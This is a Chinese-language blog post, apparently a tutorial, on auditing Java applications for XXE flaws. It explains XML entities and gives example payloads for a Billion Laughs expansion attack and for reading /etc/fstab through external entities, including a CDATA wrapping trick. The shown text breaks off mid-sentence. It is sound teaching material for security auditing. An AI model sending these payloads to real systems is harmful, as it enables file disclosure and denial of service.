java审计之XXE

本文详细介绍了Java中的XXE(XML外部实体注入)漏洞,包括XXE简介、相关基础概念如XML和DTD,以及外部实体的限制与解决办法。作者分享了XXE审计函数、常用POC,并探讨了Blind XXE与OOB-XXE的利用和防御措施。文章以实际案例展示了如何审计和利用XXE,提供了防御建议。
摘要由CSDN通过智能技术生成

java审计之XXE

有很久很久没更新这个csdn博客了,忽然想下载个资料发现没积分了,嗯额,分享个最新更新的文章。文章首发是个人的另一个博客

最近审计公司的xxx项目(java方面),对于我也是刚接触java方面的审计,边学习边审计,其中发现了几个有意思的blind xxe于是单独挑出XXE深入研究下,我觉得有必要page记录一下审计与学习的内容,对于xxe方面内容可能还不是太完整后续再添加吧,对于java总体常出现的漏洞审计(如下图)也觉得有必要记录一下,只能后续项目结束后再整理记录了,起码对于刚开始java审计新手是有必要的,之前接触的都是php对Java了解较少。

常见漏洞:

2

1.xxe简介

XXE(XML外部实体注入、XML External Entity),在应用程序解析XML输入时,当允许引用外部实体时,可以构造恶意内容导致读取任意文件或SSRF、端口探测、DoS拒绝服务攻击、执行系统命令、攻击内部网站等。Java中的XXE支持sun.net.www.protocol里面的所有协议httphttps,file,ftpmailto,jar,netdoc 。一般利用file协议读取文件、利用http协议探测内网,没有回显时可组合利用file协议和ftp协议来读取文件。

2.相关基础概念

XML&DTD

XML(可扩展标记语言,EXtensible Markup Language ),是一种标记语言,用来传输和存储数据

DTD(文档类型定义,Document Type Definition )的作用是定义XML文档的合法构建模块。它使用一系列的合法元素来定义文档结构。

实体ENTITY

XML中的实体类型,一般有下面几种:字符实体,命名实体(或内部实体)、外部实体(包含分为:外部普通实体、外部参数实体)。除外部参数实体外,其他实体都以字符(&)开始以字符(;)结束。

0x1):字符实体

字符实体类似html的实体编码,形如a(十进制)或者a(十六进制)。

0x2):命名实体(内部实体)

内部实体又叫命名实体。命名实体可以说成是变量声明,命名实体只能生命在DTD或者XML文件开始部分(<!DOCTYPE>语句中)。

命名实体(或内部实体语法):

*<!ENTITY 实体名称 "实体的值">*

如:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY x "First Param!">
    <!ENTITY y "Second Param!">
]>
<root><x>&x;</x><y>&y;</y></root>

说明:

定义一个实体名称x 值为First Param!

&x; 引用实体x

知道以上语法后,可以使用名为foo的数据类型定义(DTD)构造如下请求:

request:

POST http://example.com/xml HTTP/1.1
 
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY bar "World">
]>
<foo>
  Hello &bar;
</foo>

respone:

HTTP/1.0 200 OK
 
Hello World

bar元素是单词“World”的别名 。看起来这样的内部实体似乎无害,但攻击者可以使用XML实体通过在实体内的实体内嵌入实体来导致拒绝服务攻击。通常被称为“ (Billion Laughs attack)十亿笑攻击 ”。某些XML解析器会自动限制它们可以使用的内存量。

如:

request:

POST http://example.com/xml HTTP/1.1
 
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY bar "World ">
  <!ENTITY t1 "&bar;&bar;">
  <!ENTITY t2 "&t1;&t1;&t1;&t1;">
  <!ENTITY t3 "&t2;&t2;&t2;&t2;&t2;">
]>
<foo>
  Hello &t3;
</foo>

response:

HTTP/1.0 200 OK
 
Hello World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World

0x3):外部普通实体

外部实体用于加载外部文件的内容。(显示XXE攻击主要利用普通实体)

外部普通实体语法:

<!ENTITY 实体名称 SYSTEM “URI/URL”

如:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPe root [
    <!ENTITY outfile SYSTEM "outfile.xml">
]>
<root><outfile>&outfile;</outfile></root>

0x4):外部参数实体

参数实体用于DTD和文档的内部子集中。与一般尸体不同,是以字符(%)开始,以字符(;)结束。只有在DTD文件中才能在参数实体声明的时候引用其他实体。(Blind XXE攻击常利用参数实体进行数据回显)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY % param1 "Hello">
    <!ENTITY % param2 " ">
    <!ENTITY % param3 "World">
    <!ENTITY dtd SYSTEM "combine.dtd">
    %dtd;
]>
<root><foo>&content</foo></root>

combine.dtd的内容为:

<!ENTITY content "%parm1;%parm2;%parm3;">

说明:

上面combine.dtd中定义了一个基本实体,引用了3个参数实体:%param1;,%param2;,%param3;。

解析后<foo>…</foo>中的内容为Hello World。

3.XML外部实体的一些限制与解决办法

error

通常对于XXE的经典用法,用来读取文件比较直接方便,但是,也决定了能被解析的内容元素必须是XML文档。

如下面一个例子:

request:

POST http://example.com/xml HTTP/1.1

<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY bar SYSTEM
  "file:///etc/fstab">;
]>
<foo>
  &bar;
</foo>

response:

通常会得到如下响应

HTTP/1.0 500 Internal Server Error

File "file:///etc/fstab", line 3
lxml.etree.XMLSyntaxError: Specification mandate value for attribute system, line 3, column 15...

/etc/fstab是一个包含一些看起来像XML的字符的文件(即使它们不是XML)。这将导致XML解析器尝试解析这些元素,只是注意到它不是有效的XML文档。

因此,这限制了XML外部实体(XXE)在以下两个重要方面。

  • XXE只能用于获取包含“有效”XML的文件或响应

  • XXE不能用于获取二进制文件

    XML外部实体(XXE)限制解决办法

    这其实也就用到了外部参数实体,解决了命名实体和普通实体所带来的一些问题。具体如下分析:

    攻击者可以通过使用一些巧妙的技巧来解决上述限制。攻击者使用XML外部实体(XXE)攻击所面临的主要问题是,它很容易撞了南墙试图exfiltrate不是有效的XML文件(包含XML特殊字符,如例如,文件明文文件时&< and >)。

    理论上的解决办法

    XML已经解决了这个问题,因为有些合法的情况可能需要在XML文件中存储XML特殊字符。CDATAXML解析器忽略(Character Data)标记中的特殊XML字符。

    <data><![CDATA[ < " ' & > characters are ok in here ]]></data>
    

    因此,从理论上讲,攻击者可以发送类似于以下内容的请求。

    request:

    POST http://example.com/xml HTTP/1.1
      
    <!DOCTYPE data [
      <!ENTITY start "<![CDATA[">
      <!ENTITY file SYSTEM 
    "file:///etc/fstab">
      <!ENTITY end "]]>">
      <!ENTITY all "&start;&file;&end;">
    ]>
    <data>&all;</data>
    

    预期response:

    HTTP/1.0 200 OK
      
    # /etc/fstab: static file system informa...
    #
    # <file system> <mount point> <type> ...
    proc  /proc  proc  defaults  0  0
    # /dev/sda5
    UUID=be35a709-c787-4198-a903-d5fdc80ab2f... # /dev/sda6
    UUID=cee15eca-5b2e-48ad-9735-eae5ac14bc9...
      
    /dev/scd0  /media/cdrom0  udf,iso9660 ...
      
    

    但实际上并不起作用,因为XML规范不允许将外部实体内部

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值